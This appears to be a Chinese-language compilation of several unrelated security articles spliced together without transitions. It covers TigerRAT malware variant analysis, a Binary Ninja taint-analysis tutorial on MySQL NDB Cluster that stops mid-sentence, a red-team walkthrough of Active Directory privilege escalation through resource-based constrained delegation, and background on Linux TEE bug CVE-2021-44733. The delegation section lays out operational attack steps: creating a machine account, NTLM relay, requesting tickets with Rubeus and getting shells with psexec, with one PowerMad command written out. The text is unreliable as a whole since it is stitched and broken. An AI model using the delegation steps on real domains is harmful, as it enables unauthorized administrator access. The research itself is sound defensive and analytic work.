接著我們將更詳細地分析下載程序和RAT變體,將分析限制在集群代表上。這種將分析減少為聚類代表的函數是定向和高效分析和跟踪惡意軟件變體的關鍵。下面的分析中使用的集群代表及其名稱的選擇如下圖所示。

9.png

後續分析中使用的集群代表

TigerDownloader變體在本節中,我們將仔細研究兩個下載程序變體:Downloader-Malwarebytes-x64 和Downloader-Kaspersky-x64。從集群和代碼重用分析,我們知道它們共享97% 的代碼,因此是TigerDownloader 家族的非主要變體。

使用我們的分析工具鏈的二進制差異函數,如下所示,樣本主要由相同的函數組成,除了卡巴斯基(Downloader-Kaspersky-x64) 中的一個獨特函數(地址為0x140001230 的函數)樣本。

10.png

Downloader-Kaspersky-x64和Downloader-Malwarebytes-x64之間的函數級別差異

分析來自卡巴斯基的下載程序示例,我們看到未知函數(0x140001230)是由下載程序的主函數調用的。

11.png

左側Downloader-Kaspersky-x64,右側Downloader-Malwarebytes-x64

原來這個函數是用來實現持久性的,所使用的技術很簡單,包括在當前用戶啟動文件夾中創建一個鏈接,以確保目標設備重新啟動時啟動下載程序。

12.png

為持久性創建快捷方式的函數

13.png

持久性可執行文件的快捷方式

最後,我們注意到在Downloader-Malwarebytes-x64示例中沒有發現任何持久性技術。原因很可能是盡量減少留在受害設備上的痕跡。

與TigerDownloader的關係不幸的是,KrCERT 報告中的下載程序樣本(f0ff67d4d34fe34d52a44b3515c44950) 未公開提供與TigerDownloader相關聯的正怒,因此我們無法將其包含在我們的分析中。儘管如此,為了檢查KrCERT 與Malwarebytes 和Kaspersky 下載程序之間可能的關係,我們試圖純粹基於KrCERT公開報告的工件和行為將它們連接起來。

KrCERT報告了他們在下載程序中找到的兩個C2命令,在可供我們使用的下載程序中找不到任何“Tiger10X”標識符,同時我們也無法找到任何其他可能是C2命令的標識符。

14.png

KrCERT報告的TigerDownloader C2命令

另一方面,我們發現KrCERT報告的各種功能也出現在其他下載程序中:

1.KrCERT報告中的打包符合我們在上面建立的打包方案;

2.KrCERT報告說,通信是使用Base64編碼的,我們也在我們的樣本中觀察到了這一點;

3.由第二階段(下載程序)下載的第三階段(RAT)都屬於同一個TigerRAT家族(我們將在下一節中建立)。

簡而言之,上面的觀察表明KrCERT下載程序可能與Malwarebytes和Kaspersky觀察到的下載程序有關。然而,這只是推測,因為我們沒有訪問KrCERT樣本,因此缺乏確鑿的證據。

TigerRAT變體回顧了代碼重用和聚類分析,我們可以通過代碼重用分析將所有RAT 連接到相同的TigerRAT家族。我們還看到,RAT變體比下載程序變體變化更大。例如,變體RAT-Kaspersky-x64和RAT-KrCERT-x64僅共享大約50%的代碼。

接下來,我們將進一步研究RAT變體。我們在函數和設計層面上提出了強有力的新證據,進一步將RAT變體歸為相同的TigerRAT惡意軟件家族。經分析,變體的主要區別在於它們實現的C2命令。

對於這個分析,我們將重點關注我們在之前建立的RAT-Kaspersky-x64、RAT-KrCERT-x64和RAT-Kaspersky-x86的代表。

各變體命令和函數讓我們看看在不同變體中找到的C2命令,下圖顯示了我們在其中一個RAT變體中觀察到的所有C2命令。由於缺少ids0x08和0x09的命令,因此我們推測,在野外還有未知的樣本包含這些命令。

15.png

在RAT三種變體中至少有一種可以使用的所有C2命令

接下來,我們將查看不同變體所支持的C2命令。

16.png

在不同RAT變體中發現的C2命令

我們看到,使用聚類分析自動識別的三個變量實際上是三個函數不同的變量。除了C2函數中的這些變化之外,這些變體的核心代碼在很大程度上是相同的。因此,本質上是C2命令定義了這三種變體。我們還觀察到“FileManager”、“ScreenCapture”、“SelfDelete”和“Shell”這四個命令對所有的變體來說都是通用的。

C2命令的通用接口我們找到了三個變體通用的接口,如下所示:

17.png

該接口提供了一個由RAT中所有C2命令實現的抽象,這個通用接口在其核心C2函數的變體之間建立了一種強大的關係。

RAT-KrCERT-x64 中的新C2 協議變體C2 協議在所有變體中基本相同,不過我們還是在RAT-KrCERT-x64 變體中發現的一個小的協議變化。這一變化涉及到惡意軟件在C2上的註冊,並包含一個位於TCP模塊中的額外檢查,該檢查負責與C2的所有通信:

18.png

紅色矩形包含添加到RAT-KrCERT-x64變體的新協議檢查。

19.png

左圖,其他變體;右邊,RAT-KrCERT-x64 變體

新函數會向C2 發送一個17 字節長度的塊,我們還沒有分析發送了什麼數據,但看起來它可能與木馬標識符或類似的東西有關。發送數據後,它會檢查C2 是否返回字符串“n0gyPPx”。

20.png

“n0gyPPx”的C2 協議檢查

除了這個協議變化之外,我們還觀察到RAT-KrCERT-x64變體在第一個請求的通信開始時發送的HTTP標頭中的變化。

21.png

HTTP 標頭的變化

基於此協議分析,我們認為RAT- krcert -x64是RAT的一個新版本。

污點分析是一種挖掘安全漏洞的有效手段,即使對於大型代碼庫,也是如此。我的同事Lucas Leong最近演示瞭如何使用Clang Static Analyzer和CodeQL,通過污點分析來建模和查找MySQL NDB Cluster中的漏洞。受到該項工作的啟發,我也開始嘗試類似的東西,但這裡使用的工具是Binary Ninja,因為它也可以很好地處理閉源程序。

以下是我在從事這項工作時想到的幾件事:

在不進行邊界檢查的情況下,識別由於使用不受信任的值而導致的漏洞

污點的傳播和過濾應該對控制流敏感

支持過程間分析

對於這個問題,我將其作為一個圖的可達性問題來處理,這方面,“Tainted Flow Analysis on e-SSA-form Programs”是一篇很好的參考文獻。本文的所有分析都是基於MySQL Cluster 8.0.25和Binary Ninja 2.4.2846完成的。

定義污點源進行污點分析時,必須明確定義污點源。因為MySQL Cluster具有一個消息傳遞架構,所以,我們感興趣的污點源就是消息本身。本節提供了關於消息處理以及如何識別消息處理程序方面的詳細信息。

MySQL NDB Cluster信號MySQL NDB Cluster將功能定義為“塊”,將它們之間傳遞的消息定義為“信號”。 NDB塊通常以C++類的形式實現,每個塊在初始化時都註冊了多個信號處理程序,這些處理程序也是該類的方法。到目前為止,人們發現的大多數漏洞都位於這些消息處理程序中,也被稱為信號處理程序。

所有的塊都繼承了SimulatedBlock類,所以,它們都是使用addRecSignal()來方法來註冊其信號,而該方法則會調用SimulatedBlock:addRecSignalImpl()方法。實際上,註冊的信號處理程序的類型為ExecSignalLocal,並且需要一個參數。對這方面有興趣的讀者,可以參考Frazer Clement的文章“Ndb software architecture”,以及Steinway Wu的文章“Code Reading Notes – MySQL Cluster”,以了解更多細節。在本文中,我們只對信號處理程序的入口點感興趣。下面是一個NDBCNTR塊註冊信號處理程序的示例代碼:

addRecSignal(GSN_CNTR_WAITREP,Ndbcntr:execCNTR_WAITREP);

SimulatedBlock:addRecSignalImpl(GlobalSignalNumbergsn,ExecSignalLocalf,boolforce)

typedefvoid(BLOCK:*ExecSignalLocal)(Signal*signal);處理程序收到的“Signal”對象通常都包含不受信任的數據,而信號處理程序可以通過signal-getDataPtr()方法或其他一些方法來訪問這些數據。處理程序也可以進一步將'Signal'對像傳遞給其他函數。對於這一步的分析,方法有多種。比如,我們可以分析任何以Signal為參數的函數,或者通過交叉引用,查找對SimulatedBlock:addRecSignalImpl()的調用,只分析實際的信號處理程序,然後,通過過程間分析來處理剩下的問題。這裡,我們先介紹前面一步,至於過程間分析,我們將在後文加以介紹。

雖然Signal對象的大小為0x8030字節,但是,並非所有的字節都應該被視為污點。相反,我們應該只把該對象的一小塊內存區域定義為污點,這樣的話,只有從污點區域讀取的內存數據才會被傳播。如果將整個結構都標記為污點的話,會導致大量的誤報。就本例來說,信號的污點數據從偏移量0x28處開始,也就是說,從這個偏移量處開始加載的任何內存數據,都被標記為污點。另外,方法Signal:getDataPtr()和Signal:getDataPtrSend()都會返回一個指向該內存地址的指針。

Uint32m_sectionPtrI[3];

SignalHeaderheader;

union{

Uint32theData[8192];/*Taintedmemoryregionatanoffset0x28*/

Uint64dummyAlign;

};

Uint32m_extra_signals;

inlineconstUint32*Signal:getDataPtr()const{

returntheData[0];

}

inlineUint32*Signal:getDataPtrSend(){

returntheData[0];

}將類型信息從IDA Pro移植到Binary Ninja上這里分析的可執行文件是“ndbd”,它是利用DWARF調試信息構建的NDB Cluster Data Node Daemon進程。為了查找以指向Signal對象的指針作為參數的函數,請檢查所有函數的類型信息,如下所示:

forfuncinbv.functions:

forindex,paraminenumerate(func.parameter_vars):

ifparam.typeisnotNoneandparam.type.type_class==TypeClass.PointerTypeClass:

ifparam.type.tokens[0].text=='Signal':然而,就目前來說,Binary Ninja還無法像IDA Pro那樣魯棒地處理DWARF信息。 Binary Ninja的另一個問題是:在分析C++可執行文件時,它無法檢測“this”參數。因此,它的參數檢測並不准確,從而對我們的污點源分析帶來很大障礙。一個簡單的解決方法是,將類型信息從IDA Pro導入Binary Ninja。例如,Dblqh:prepareContinueAfterBlockedLab()方法在IDA Pro中的類型信息如下所示:

void__fastcallDblqh:prepareContinueAfterBlockedLab(Dblqh*this,Signal*signal,Dblqh:TcConnectionrecPtrtcConnectptr)同樣的函數,在Binary Ninja中看起來卻差別很大。就本例來說,“this”指針“不見”了,而Signal則成了第一個參數。因此,如果將“arg1”標記為污點源的話,將使整個分析出錯:

int32_t*Dblqh:prepareContinueAfterBlockedLab(Signal*arg1,__gnu_cxx:__ops:_Iter_comp_iter由於我們只對Signal參數的正確參數位置和類型信息感興趣,因此,我們可以使用ida2bn目錄中提供的腳本對其進行修復:

int32_t*Dblqh:prepareContinueAfterBlockedLab(void*arg1,Signal*arg2,int64_t*arg3,int32_targ4)一旦類型信息得到修復,我們就可以使用Signal參數來識別函數並標記污染源了。關於通過Binary Ninja處理類型的更多細節,請參考https://docs.binary.ninja/guide/type.html。

污點的傳播與過濾污點傳播的目標很簡單:當某變量被賦予來自Signal數據中的值時,將其標記為污點。如果任何其他變量是從受污染的變量派生出來的,也將其標記為受污染的變量,依此類推。當存在sanitizer時,挑戰就來了。假設一個變量被污染了,但是在某些代碼路徑中存在對該變量的驗證處理。在這種情況下,該變量在該代碼路徑中就不會受污染了。污點傳播應該對控制流敏感,以避免過度污染和誤報。在下面的小節中,我們將介紹如何使用Binary Ninja的IL和SSA形式解決這個問題。此外,如果讀者想要透徹掌握這個主題的話,可以進一步閱讀https://blog.trailofbits.com/2017/01/31/breaking-down-binary-ninjas-low-level-il/和https://blog.trailofbits.com/2017/01/31/breaking-down-binary-ninjas-low-level-il/這兩篇文章。

Binary Ninja的IL和SSA形式Binary Ninja支持各種中間語言(IL),如低級IL(LLIL)、中級IL(MLIL)和高級IL(HLIL)。由於MLIL用變量抽像出了堆棧內存訪問,並提供了與調用位置相關的參數,所以,我認為它更適合執行過程間的污點分析。此外,與HLIL相比,MLIL具有更加豐富的文檔可用。

Binary Ninja提供的另一種強大功能是:能夠為可用的IL提供靜態單賦值(Single Static Assignment,SSA)形式。在SSA形式中,每個變量只被定義一次。當變量被重新賦予另一個值時,會創建一個新的變量版本。因此,我們可以在函數中“全方位地”跟踪一個被污染的變量。現在,請考慮下面最簡單的例子:當變量x被重新賦值時,在SSA形式中會創建一個新版本的變量:

x=1x#0=1

x=x+1x#1=x#0+1SSA變量的def-use鏈Binary Ninja提供瞭如下兩個API:get_ssa_var_definition()和get_ssa_var_uses(),分別用來獲取一個變量的定義位置及其用途。為了便於說明,請看下面Thrman:execOVERLOAD_STATUS_REP()方法的MLIL SSA代碼片段:

Thrman:execOVERLOAD_STATUS_REP:

2@00784165rax#1=zx.q([arg2#0+0x28].d@mem#0)

3@00784168rcx#1=[arg2#0+0x2c].d@mem#0

4@0078416b[arg1#0+(rax#13)+0x3ca0].d=rcx#1@mem#0-mem#1這裡,arg2是一個指向Signal對象的指針。在地址0x00784165處,SSA變量“rax#1”被賦予了一個來自[arg2#0+0x28]的污點值。使用這個被污染的SSA變量rax#1的MLIL指令可以被通過下列方式獲得:

current_function.get_low_level_il_at(here).mlil.ssa_form

current_function.get_low_level_il_at(here).mlil.ssa_form.destssa_var=current_function.get_low_level_il_at(here).mlil.ssa_form.dest

current_function.mlil.ssa_form.get_ssa_var_definition(ssa_var)

current_function.mlil.ssa_form.get_ssa_var_uses(ssa_var)

[il:[arg1#0+(rax#13)+0x3ca0].d=rcx#1@mem#0-mem#1]這些API是我們進一步進行污染分析的構建塊。

用SSA def-use鏈進行污染傳播由於Binary Ninja的IL的組織形式為表達式樹,因此,某個操作的操作數可以由其他操作組成。下圖是BNIL Instruction Graph插件為MLIL SSA指令生成的:

current_function.get_low_level_il_at(here).mlil.ssa_form

current_function.get_low_level_il_at(here).mlil.ssa_form.operation 1.png

其中,MLIL_SET_VAR_SSA操作標記了一個新SSA變量的定義,它將dest變量的值設為src表達式的結果,而src表達式可以由許多其他操作組成。就這裡來說,MLIL_ADD向Signal的基址添加偏移量0x28,然後,MLIL_LOAD_SSA從通過MLIL_ADD計算得到的地址中讀取該值。注意,有效的污染傳播需要訪問每個指令表達式的所有MLIL SSA操作。 Josh Watson的emILator和Jordan的IL指令計數代碼是訪問和處理MLIL SSA指令表達式的好例子。那麼,污點傳播算法到底做了些什麼呢?

線性訪問函數中的所有MLIL SSA指令

對於任何MLIL_SET_VAR_SSA操作,解析src表達式以檢查它是否是受污染的數據

如果src操作數返回受污染的數據,則使用get_ssa_var_uses()獲取dest SSA變量的使用情況

訪問使用受污染SSA變量的指令,並在遇到MLIL_SET_VAR_SSA時傳播受污染的SSA變量

一旦某個指令污染了某個變量,將其標記為已訪問,並且不再訪問該變量

對SSA變量的約束一旦確定了污點傳播算法,接下來該如何處理污點變量的sanitizer呢?我們只對不進行任何驗證的代碼路徑感興趣。考慮到這一點,讓我們重新審視一下基於def-use鏈的污點傳播算法。實際上,def-use鏈就是代碼的順序語句;因此,這種污點傳播對控制流並不敏感,具體請看下面的演示示例:

1.png

其中,傳遞給函數的變量“value”已經收到污染,並在兩個不同的代碼路徑中被用到。在執行0x1184處的基本塊的代碼路徑中,該變量進行了相應的驗證,並被認為是“乾淨的”。同時,用於該變量的get_ssa_var_uses()函數返回了3條指令,具體如下所示:

current_function.get_low_level_il_at(here).mlil.ssa_form.function.get_ssa_var_uses(dest)

[線性處理這3條指令會導致錯誤的結論,即驗證在污點值的兩次使用之前進行。實際上,只有一條指令是受保護的;而其他兩條指令則是易受攻擊的。這個問題可以通過引入控制流來解決。

基於約束圖的控制流敏感傳播其中,MediumLevelILInstruction類有一個il_basic_block屬性,可用來獲取MLIL指令的基本塊信息。

current_function.get_low_level_il_at(here).mlil.ssa_form.il_basic_block利用這個屬性,我們可以獲取SSA變量的定義和SSA變量的使用情況的基本塊,其中也包括進行驗證的基本塊。這些基本塊也被稱為“約束”塊。這些基本塊的一些特性如下所示:

定義塊總是支配著SSA變量的所有使用情況。

擁有定義的基本塊可以包含約束。這同樣適用於def-use鏈的任何基本塊。

一個定義塊總是可達的,因此,其中的所有指令也是可達的。

考慮到這是一個圖的可達性問題,所以,現在問題就變成:在有約束塊的情況下,我們能不能到達SSA變量的def-use鏈中的所有指令?為了回答這個問題,我們可以通過函數的CFG建立一個約束圖,並對其應用如下路徑查找算法:

從CFG中刪除約束塊的外向邊。這就是我們的約束圖。

在約束圖中尋找定義基本塊和其他def-use鏈的基本塊之間是否存在路徑。

如果任何def-use基本塊無法到達,那麼這些指令就不會被用於污點傳播。

由於每個賦值操作在SSA表示中都是唯一的,因此,我們可以維護一個包括約束圖在內的每個變量的必要信息的字典,以便做進一步的分析。下面是一個在存在約束塊的情況下尋找可達塊的示例偽碼:

self.var_def_uses.setdefault(ssa_var,dict())

refs=definition.function.get_ssa_var_uses(ssa_var)

basic_blocks=self.refs_to_basic_blocks(definition,refs)

forrefinrefs:

self.get_constrained_blocks(ref,constraint_blocks,ssa_var)

subgraph=self.get_constrained_subgraph(constraint_blocks)

self.var_def_uses[ssa_var]['subgraph']=subgraph

reachable_blocks=self.get_reachable_blocks(definition,ssa_var,basic_blocks)

forblk,stmtsinbasic_blocks.items():

ifblkinreachable_blocks:

pruned_refs+=stmts

self.var_def_uses[ssa_var]['def']=definition

self.var_def_uses[ssa_var]['refs']=pruned_refs要發現某個SSA變量是否在給定指令中被污染的,我們只需檢查其可達的def-use鏈即可:

defis_reachable(self,var,expr):

ifself.function_mlilssa[expr.instr_index]inself.var_def_uses[var]['refs']:

returnTrue將算術運算作為過濾器除了顯式過濾器之外,還可以將算術運算用作污點過濾器。例如,AND運算或邏輯右移(LSR)運算可能會對值施加約束。在這種情況下,可以使用啟發式方法過濾掉不想要的結果,例如:

1.png

在這裡,表面上看污染值並未與任何值進行顯式比較,但是,LSR和AND之類的邏輯運算實際上已經限制了輸入範圍。這就是我發現possible_values屬性非常有用的地方。 Binary Ninja的數據流分析可以為一個表達式提供可能的值:

current_function.get_low_level_il_at(here).mlil.ssa_form.src

current_function.get_low_level_il_at(here).mlil.ssa_form.src.possible_valuescurrent_function.get_low_level_il_at(here).mlil.ssa_form.src

current_function.get_low_level_il_at(here).mlil.ssa_form.src.possible_valuesunsignedranges:[處理污染變量的傳遞關係分析的第一階段,我們需要傳播污染數據並生成相關信息,如污染變量列表、每個SSA變量的約束,以及它們各自的約束子圖。

在分析的第二階段,我們將考察受污染的SSA變量之間的關係。為什麼這很重要?因為我們只尋找unbounded型SSA變量。雖然在第一階段已經處理了對SSA變量施加的任何直接約束,但還沒有處理通過傳遞關係施加給SSA變量的那些間接約束。考慮下面的示例:

1.png

變量index#0可能被污染且不受約束。但是,由於對派生變量constrained_var#1進行了驗證,從而間接地對index變量施加了約束,因此,index#3在0x11f2的內存訪問期間不會被污染。下面是另一個例子:

1.png

這裡,index#1、index#2、rax#1和constrained_var#1是變量index#0的副本或直接賦值。當變量constrained_var#1被驗證時,其他變量也會被驗證。因此,如果不分析約束對派生變量或變量副本的影響,則會導致誤報。接下來,我們將詳細介紹如何處理相關變量的約束問題。

通過傳遞關係施加給SSA變量的約束在污點傳播階段結束後,我們將遍歷所有有約束的污點變量。對於每一個有約束的變量,我們需要找出其子變量和父變量:

從給定變量派生的變量稱為子變量。

派生給定變量的變量稱為父變量。

為了檢查所考查的變量上的約束是否對其父變量或子變量產生影響,我們需要進行以下檢查:

為所考查的SSA變量挑選約束子圖。

檢查子變量的定義是否可以從當前變量的定義中到達:

如果不可達,則在CFG中定義子變量之前放置約束,因此,def-use鏈中的基本塊都不會被污染。

如果可達,則在CFG中定義子變量之後放置約束。在這種情況下,還要檢查子變量的de

微軟試圖為域用戶提供更大的靈活性,使資源的所有者能夠配置哪些帳戶是可信的,並允許委派給他們。這可以通過修改用於控制目標資源訪問的屬性“ms-DS-AllowedToActOnBehalfOfOtherIdentity”來實現的。具體而言,如果計算機帳戶等資源設置了此屬性,則允許帳戶代表計算機帳戶執行操作。為了能夠修改此屬性,帳戶需要具備該對象的寫入權限,而默認情況下該權限是沒有的。但是,如果可以觸發SYSTEM 帳戶並將身份驗證中繼到Active Directory,則帳戶可能會獲得委派權限,從而充當提升的用戶。

通過基於資源的約束委派提升特權並不是一個新話題,Elad Shamir 和Will Schroeder 過去曾對此進行過討論。此攻擊向量遵循一系列步驟並依賴於用戶服務(S4U) Kerberos 擴展,該擴展使服務(例如CIFS)能夠代表另一個用戶請求和獲取服務票證。通過基於資源的約束委派提權的方法包括以下步驟:

1.發現計算機賬戶配額;

2.啟用WebClient 服務;

3.創建計算機帳戶;

4.NTLM中繼;

5.哈希計算;

6.請求服務票;

7.票證轉換;

8.通過Kerberos 身份驗證訪問;

下圖說明了基於資源的約束委派的步驟:

1.png

尋找計算機賬戶配額默認情況下,域中的用戶最多可以創建10 個計算機帳戶。屬性“ms-DS-MachineAccountQuota”的值定義了可以創建多少個計算機帳戶。從Active Directory 的角度來看,這可以通過查看域屬性中的屬性編輯器來觀察到這一點。

2.png

計算機賬戶配額

但是,可以通過在紅隊操作期間查詢Active Directory 對象來檢索上述值。 SharpView 相當於用C# 開發的PowerView,因此可以直接從植入程序中使用。執行下面的命令將枚舉所有域對象。

3.png

SharpView——域對象

屬性“ms-ds-machineaccountquota”的值將顯示在輸出中。

4-.png

SharpView——計算機賬戶配額

另一種方法是使用StandIn,它只能查詢感興趣的域對象。

4.png

StandIn——計算機賬戶配額對象

“ms-ds-machineaccountquota”的值將顯示在控制台中。

5.png

StandIn——計算機賬戶配額

啟用WebClient 服務在Windows 10、Windows 11等較新版本操作系統中,安裝了web客戶端服務,但默認未啟用。服務的狀態可以通過在PowerShell控制台執行以下操作來獲得。

6.png

WebClient Service – Status

為了使該技術生效,WebDav 服務需要處於運行狀態,因為WebDav 不協商簽名,因此將允許來自當前計算機帳戶的身份驗證中繼。標準用戶沒有權限啟用該服務。 James Forshaw 發布了一個概念證明,它通過觸發自定義ETW 事件來解決此問題,該事件將從標準用戶的角度啟用該服務。

7.png

c++代碼——啟用Web客戶端

將代碼編譯為可執行文件並在目標主機上運行二進製文件以啟用該服務。

8.png

啟用WebClient 服務

在命令提示符中,可以通過執行以下命令查詢服務:

9.png

WebClient服務

創建計算機帳戶如上所述,默認情況下域用戶最多可以創建10 個計算機帳戶。如果提供憑據,可以使用各種工具從加入域的系統和未加入域的系統中創建計算機帳戶。 Ruben Boonen 開發了一個名為StandIn 的.NET 活動目錄後開發工具包,可以從植入程序中使用它來執行與基於資源的約束委派相關的任務,例如創建計算機帳戶。執行以下命令將使用隨機密碼在域上創建一個新的計算機帳戶。

10.png

StandIn——創建計算機帳戶

Impacket 包含一個python 腳本,它可以從非域加入系統創建計算機帳戶。

11.png

Impacket——添加新計算機

另外,這個任務也可以通過PowerShell來執行,因為Kevin Robertson開發的PowerMad模塊包含一個可以創建新計算機帳戶的功能。

Import-Module.\Powermad.psm1

New-MachineAccount-MachineAccountPentestlaboratories-Domainpurple.lab-DomainControllerdc.purple.lab 13.png

PowerMad——新計算機帳戶

如果系統已經針對基於資源的約束委派進行了配置,則可以使用現有的計算機帳戶,而不是使用上述方法之一創建新的計算機帳戶。 StandIn 的“委派”標誌可以顯示所有具有基於資源的受限委派權限的帳戶,包括具有不受約束和受限委派權限的帳戶。

14.png

StandIn——發現為基於資源的受限委派配置的帳戶

NTLM中繼由於已經創建了一個新的計算機帳戶並且Web 客戶端服務正在主機上運行,因此下一步是從Impacket 配置“ntlmrelayx”以進行委派。一旦捕獲了來自合法計算機帳戶的身份驗證,將被轉發到域控制器以通過LDAP 進行身份驗證。由於初始身份驗證將通過HTTP 接收,因此需要在目錄中放置圖像。偽造的計算機賬戶“DESKTOP-Pentestlab$”將成為委派權限的目標。

15.png

Ntlmrelayx——委派訪問

為了強制系統帳戶通過網絡進行身份驗證,NCC 集團開發了接受WebDav 路徑的Change-Lockscreen。為了使身份驗證成功,需要使用主機名而不是IP 地址,因為WebDav 客戶端會在Intranet 區域中自動進行身份驗證。需要注意的是,WebClient 服務將使用更改鎖屏觸發器來啟用,並且可以避免啟用Web 客戶端服務的步驟。

16.png

身份驗證觸發器——Change-LockScreen

計算機帳戶(Hive$) 將通過Kali 實例上的HTTP 進行身份驗證,並將嘗試在隨機路徑上查找圖像。在域控制器上中繼身份驗證後,虛假計算機帳戶(DESKTOP-Pentestlab$) 將獲得對Hive$ 帳戶的委派權限。

17.png

ntlmrelayx ——基於資源的約束委派

如果使用rbcd python 腳本提供域憑據,則該攻擊也可以從未加入的域系統執行,該腳本可自動執行該過程。

18.png

Python 實現——rbcd

與具有委派權限的計算機帳戶對應的值將出現在計算機對象(Hive) 的“msDS-AllowedToActOnBehalfOfOtherIdentify”屬性中。

19.png

Active Directory——基於資源的約束委派

哈希計算從密鑰傳遞中心(KDC) 獲取票證的請求需要密碼的哈希表示而不是純文本值。由於計算機帳戶的密碼是已知的,因此可以使用Rubeus 的“哈希”操作來計算給定密碼的哈希值。

20.png

計算哈希——計算機賬戶

請求服務票證計算機帳戶“DESKTOP-Pentestlab$”具有受約束的委派權限,因此可以使用Rubeus 代表管理員帳戶請求通用Internet 文件系統(CIFS) 的服務票證。這是通過使用用戶服務(S4U) Kerberos 擴展來實現的,該擴展能夠代表用戶請求服務票證。由於將頒發的票證屬於管理員帳戶,因此可用於通過Kerberos 進行身份驗證,以提升的用戶身份訪問主機。將為為委派創建的計算機帳戶(DESKTOP-Pentestlab$) 請求初始票證。

21.png

TGT 請求——計算機賬戶

使用“用戶服務”操作,將向管理員帳戶的當前域控制器的Kerberos 分發中心(KDC) 請求票證。

22.png

管理員TGS

最後使用Kerberos 擴展S4U2proxy 將代表管理員帳戶為CIFS 服務請求票證。應該注意的是,即使請求的票證不會被標記為可轉發,它仍然可以用於訪問服務。

23.png

CIFS 服務票證

上述過程可以通過使用python實用程序“getST”直接從Impacket執行。與Rubeus相比,該工具不需要對計算機帳戶密碼進行散列,而是需要對純文本進行哈希處理。可以通過執行以下命令來請求服務票證:

24.png

CIFS 票證——getST

票證將在當前工作目錄中保存為.ccache。

轉換票證Rubeus 的最終票證授予票證(TGT) 是基於64 編碼的。為了用於Kerberos 身份驗證,票證需要採用.ccache 格式。執行以下命令將解碼票證並將輸出寫入.kirbi 文件。

25.png

Base64 - Kirbi Ticket

Impacket 包含一個python 實用程序,它可以將具有.kirbi 擴展名的Kerberos 票證轉換為.ccache。

26.png

票證轉換器——從kirbi 到ccache

“KRB5CCNAME”環境變量應設置為.ccache 票證的位置,以便在Kerberos 身份驗證期間使用來自緩存的票證。

27.png

環境變量——Kerberos 票證

通過Kerberos 身份驗證訪問獲取屬於管理員帳戶的票證意味著它可用於從更高的角度訪問目標服務。 來自Impacket 的“wmiexec”和“psexec”都支持Kerberos 身份驗證,因此可用於以管理員或系統身份訪問主機,完成權限提升方案。

28.png

Wmiexec——Kerberos 身份驗證

執行“psexec”將在目標主機上創建一個服務,它被認為是不安全的。 但是,它可以通過使用“-k”和“-no-pass”標誌指定管理員帳戶和目標主機來使用Kerberos 身份驗證來執行。

29.png

Psexec——Kerberos 身份驗證

或者僅使用相同的標誌和目標主機。

30.png

psexec——Kerberos 身份驗證

最近在Linux 內核TEE 子系統中發現了一個釋放後重引用(UAF)漏洞,影響版本小於等於5.15.11,分配了CVE編號CVE-2021-44733。

簡單的UAF無法進一步利用,在對漏洞代碼路徑做了進一步分析,簡單寫了個PoC測試後發現是可以覆蓋Linux內核中的函數指針的,本文沒有提供權限提升的漏洞利用代碼,但是在環境設置部分提供了運行OPTTE和漏洞利用的測試環境。

0x01 背景信息TEE是Trusted Execution Environment,也就是可信執行環境,通常用於數字版權保護(Digital Rights Management)、移動支付保護、敏感數據保護。 TEE的實現是基於ARM TrustZone。

需要介紹的另一個概念是REE,也就是Rich Execution Environment,被稱為通用執行環境,這是所有移動設備的通用運行環境,運行Android、iOS 系統。 OS的代碼量龐雜很容易出現漏洞,OS可以讀寫APP軟件中的所有數據,存在大量針對REE的高級攻擊技術和漏洞利用代碼。

TEE受硬件機制的保護,TEE隔離於REE,只能通過特定入口和TEE進行通信;TEE可以訪問REE的內存,可以抵禦某些硬件攻擊。

TEE實質上是一個可信子操作系統,比如最常見的ARM CPU上的TrustZone,運行在CPU芯片中的子OS,TEE驅動程序會處理TEE OS和上層操作之間的通信。

TEE 子系統會對TEE驅動程序進行註冊初始化、會管理Linux 和TEE的共享內存、會為TEE提供通用API。

驅動程序註冊初始化步驟:

1.根據設備類型,構造所需描述驅動的結構體。該結構體需要繼承structdevice_driver結構,並給幾個重要的成員初始化。

2.通過module_init宏調用驅動程序的初始化函數xx_init_module,在初始化函數中註冊驅動程序。

3.驅動程序會遍歷總線上的structdevice和structdevice_driver兩條鍊錶,調用總線的match函數,對設備與驅動程序進行匹配。

4.如果設備與驅動程序匹配成功,則調用驅動程序的probe函數。

什麼是註冊驅動程序:

初始化函數中調用的xx_register_driver函數就是註冊驅動程序,初始化函數執行其實非常簡單,執行一下xx_register_driver函數就會返回,這也是Linux驅動程序的標準註冊流程:module_init--xx_init_module--xx_register_driver。 TEE接口include/uapi/linux/tee.h中的結構體和宏定義提供了TEE的通用使用接口,用戶空間和客戶端可通過打開/dev/tee[0-9] 或/dev/teepriv[0-9] 連接TEE驅動程序。

下面是在include/uapi/linux/tee.h中定義的結構體接口:

TEE_IOC_SHM_ALLOC 分配共享內存並返回用戶空間可以映射的文件描述符。當用戶空間不再需要文件描述符時,它應該被關閉。當不再需要共享內存時,應該使用munmap() 取消映射以允許重用內存。

TEE_IOC_VERSION 讓用戶空間知道此驅動程序處理哪個TEE 及其功能。

TEE_IOC_OPEN_SESSION 打開一個到可信應用程序的新會話。

TEE_IOC_INVOKE 調用可信應用程序中的函數。

TEE_IOC_CANCEL 可以取消正在進行的TEE_IOC_OPEN_SESSION 或TEE_IOC_INVOKE。

TEE_IOC_CLOSE_SESSION 關閉與可信應用程序的會話。

mmap會將一個文件和其他對象映射到內存空間中。文件被映射到多個頁上,如果文件的大小不是所有頁的大小之和,最後一個頁不被使用的空間將會清零。 munmap執行相反的操作,刪除特定地址區域的對象映射。 TEE有兩種客戶端:普通客戶端和請求者客戶端,請求者客戶端是TEE在Linux OS中的輔助進程,用於訪問資源,比如文件系統訪問等。普通客戶端會打開/dev/tee[0-9]*,請求者kehu客戶端會打開/dev/teepriv[0-9]。

/dev/目錄下是Linux的外部設備文件,注意不是驅動文件,Linux會將所有設備認為是文件。客戶端和TEE 之間的大部分通信對驅動程序來說是不透明的。驅動程序的主要工作是接收來自客戶端的請求,將它們轉發到TEE 並將結果發回。在請求方的情況下,通信在另一個方向進行,TEE 向請求方發送請求,然後請求方將結果發回。

TEE是在安全環境中運行的可信操作系統,例如ARM CPU 上的TrustZone。 TEE 驅動程序會處理與TEE 通信所需的細節,驅動程序更重要的職責是為基於Globalplatform TEE 客戶端API 規範的TEE 提供通用API,而且還管理Linux 和TEE 之間的共享內存。該子系統可以通過CONFIG_OPTEE在ARM 架構的內核配置中進行配置來啟用。

The secure world包含表示為OP-TEE OS 的可信操作系統。在此操作系統之上,可以運行受信任應用程序(TA),這些應用程序可以在隔離環境中執行某些操作,參見圖1。

image-20220117152205863.png

圖1:TEE 概述

